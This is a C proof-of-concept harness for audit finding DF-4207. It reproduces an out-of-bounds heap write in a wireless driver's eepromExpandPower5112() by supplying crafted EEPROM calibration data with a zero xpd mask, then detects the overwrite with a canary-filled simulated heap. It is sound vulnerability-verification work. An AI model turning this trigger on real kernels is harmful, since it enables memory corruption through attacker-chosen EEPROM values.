DF-4207 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | /* * DF-4207 โ wild OOB heap write in eepromExpandPower5112() when the * device-supplied EEPROM xpd_mask has no set bits (ee_xgain[mode] == 0). * * The two functions under test (eepromAllocExpnPower5112, * eepromExpandPower5112) and every struct type they touch are extracted * VERBATIM from the guest's own /usr/src kernel tree by build.sh (which * first verifies the tree's sha256 matches the audited file). Only the * allocator is shimmed: allocations come from a 4 MiB mmap()ed arena * ("kernel heap") pre-filled with 0xAA canaries, so any write outside the * exact allocation extent is visible. * * Trigger: 5112-layout EEPROM (ver >= 4.0, eepMap == 1), ee_xgain[mode] * == 0 (word 0x? nibble (eeval>>1)&0xf == 0, ah_eeprom_v3.c:1267), and at * least one calibration pier for that mode. eepromExpandPower5112 never * checks that at least one xpd gain bit is set, so xgainList[0] keeps its * 0xDEAD sentinel (ah_eeprom_v3.c:192-207) and is then used as an array * index: pDataPerXPD[0xDEAD] (ah_eeprom_v3.c:226-227) โ ~1.14 MiB past * the heap allocation, with EEPROM-chosen 16-bit values. * * Exit 42 == wild write observed (bug reproduced). Exit 0 == clean. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> /* ---- kernel shims (logic of the extracted code is untouched) ---- */ #define AH_TRUE 1 #define AH_FALSE 0 #define AH_NULL NULL typedef int HAL_BOOL; struct ath_hal { int pad; }; static struct ath_hal ah_obj; #define roundup(x, y) ((((uintptr_t)(x)) + ((uintptr_t)(y) - 1)) & ~((uintptr_t)(y) - 1)) /* HALDEBUG is debug-print only; the audited control flow never depends on it */ #define HALDEBUG(ah, lvl, fmt, ...) do { } while (0) #define ARENA_SZ (4u << 20) /* 4 MiB fake kernel heap */ #define CANARY 0xAA static uint8_t *arena; static size_t arena_off; static void * h_malloc(size_t sz) { void *p = arena + arena_off; arena_off += (sz + 15u) & ~15u; return p; } #define ath_hal_malloc(sz) h_malloc(sz) static void ath_hal_free(void *p) { (void)p; } /* ==== VERBATIM STRUCTS FROM ah_eeprom_v3.h INSERTED BY build.sh ==== */ /* ==== VERBATIM FUNCTIONS FROM ah_eeprom_v3.c INSERTED BY build.sh ==== */ /* two expansion receivers so the two runs are independent */ static EEPROM_POWER_EXPN_5112 cal_expn_storage[2]; #define cal_expn_1 cal_expn_storage[0] #define cal_expn_2 cal_expn_storage[1] static void report(const char *tag, EEPROM_POWER_EXPN_5112 *px, uint8_t *alloc_end) { uint8_t *pdc = (uint8_t *)px->pDataPerChannel; uint8_t *p; size_t damaged = 0, first_off = 0; int first = 1; /* anything != CANARY past the allocation extent is the OOB write */ for (p = alloc_end; p < arena + ARENA_SZ; p++) { if (*p != CANARY) { damaged++; if (first) { first_off = (size_t)(p - pdc); first = 0; } } } printf("[%s] pDataPerChannel=%p alloc_end=%p numChannels=%u\n", tag, (void *)pdc, (void *)alloc_end, px->numChannels); printf("[%s] damaged bytes past allocation: %zu (first at pDataPerChannel+%zu)\n", tag, damaged, first_off); if (damaged) { /* pDataPerXPD sits at offset 4 inside EXPN_DATA_PER_CHANNEL_5112 * (after channelValue + maxPower_t4) */ size_t wild = 4 + (size_t)0xDEAD * sizeof(EXPN_DATA_PER_XPD_5112); printf("[%s] expected wild XPD base: pDataPerChannel+%zu (4 + 0xDEAD * %zu)\n", tag, wild, sizeof(EXPN_DATA_PER_XPD_5112)); printf("[%s] bytes at the wild site (+%zu..+%zu):\n ", tag, wild + 2, wild + 20); for (p = pdc + wild + 2; p < pdc + wild + 20; p++) printf(" %02x", *p); printf("\n"); } } int main(void) { EEPROM_POWER_5112 cal; EEPROM_POWER_EXPN_5112 *px; uint8_t *alloc_end; arena = mmap(NULL, ARENA_SZ, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (arena == MAP_FAILED) { perror("mmap"); return 1; } memset(arena, CANARY, ARENA_SZ); printf("sizeof(EXPN_DATA_PER_XPD_5112) = %zu\n", sizeof(EXPN_DATA_PER_XPD_5112)); printf("sizeof(EXPN_DATA_PER_CHANNEL_5112) = %zu\n", sizeof(EXPN_DATA_PER_CHANNEL_5112)); printf("wild index 0xDEAD = %u -> byte offset +%zu from a pDataPerXPD[] base\n\n", 0xDEAD, (size_t)0xDEAD * sizeof(EXPN_DATA_PER_XPD_5112)); /* ---- run 1: single calibration pier, xpdMask == 0 ---- */ arena_off = 0; memset(&cal, 0, sizeof(cal)); cal.numChannels = 1; cal.xpdMask = 0; /* ee_xgain[mode] == 0 */ /* EEPROM-chosen bytes: pcdac chain + per-point powers (all 16-bit) */ cal.pDataPerChannel[0].pcd1_xg0 = 0x2a; /* 42 */ cal.pDataPerChannel[0].pcd2_delta_xg0 = 0x15; /* -> pcdac1 = 63 */ cal.pDataPerChannel[0].pcd3_delta_xg0 = 0x0a; /* -> pcdac2 = 73 */ cal.pDataPerChannel[0].pcd4_delta_xg0 = 0x05; /* -> pcdac3 = 78 */ cal.pDataPerChannel[0].pwr1_xg0 = 0x2c; cal.pDataPerChannel[0].pwr2_xg0 = 0x30; cal.pDataPerChannel[0].pwr3_xg0 = 0x34; cal.pDataPerChannel[0].pwr4_xg0 = 0x38; px = &cal_expn_1; if (!eepromAllocExpnPower5112(&ah_obj, &cal, px)) { printf("run1: alloc failed\n"); return 1; } alloc_end = arena + arena_off; if (eepromExpandPower5112(&ah_obj, &cal, px)) printf("[run1] eepromExpandPower5112 returned AH_TRUE\n"); else printf("[run1] eepromExpandPower5112 returned AH_FALSE\n"); report("run1", px, alloc_end); /* ---- run 2: three piers โ wild write repeats per channel (84-byte stride) ---- */ arena_off = 0; memset(arena, CANARY, ARENA_SZ); memset(&cal, 0, sizeof(cal)); cal.numChannels = 3; cal.xpdMask = 0; cal.pDataPerChannel[0].pcd1_xg0 = 0x2a; cal.pDataPerChannel[0].pcd2_delta_xg0 = 0x15; cal.pDataPerChannel[0].pcd3_delta_xg0 = 0x0a; cal.pDataPerChannel[0].pcd4_delta_xg0 = 0x05; cal.pDataPerChannel[0].pwr1_xg0 = 0x2c; cal.pDataPerChannel[0].pwr2_xg0 = 0x30; cal.pDataPerChannel[0].pwr3_xg0 = 0x34; cal.pDataPerChannel[0].pwr4_xg0 = 0x38; px = &cal_expn_2; if (!eepromAllocExpnPower5112(&ah_obj, &cal, px)) { printf("run2: alloc failed\n"); return 1; } alloc_end = arena + arena_off; (void)eepromExpandPower5112(&ah_obj, &cal, px); report("run2", px, alloc_end); /* verdict */ { uint8_t *p; int dirty = 0; for (p = alloc_end; p < arena + ARENA_SZ; p++) if (*p != CANARY) { dirty = 1; break; } printf("\n%s: wild OOB write %s observed\n", dirty ? "FAIL" : "PASS", dirty ? "WAS" : "was NOT"); return dirty ? 42 : 0; } } |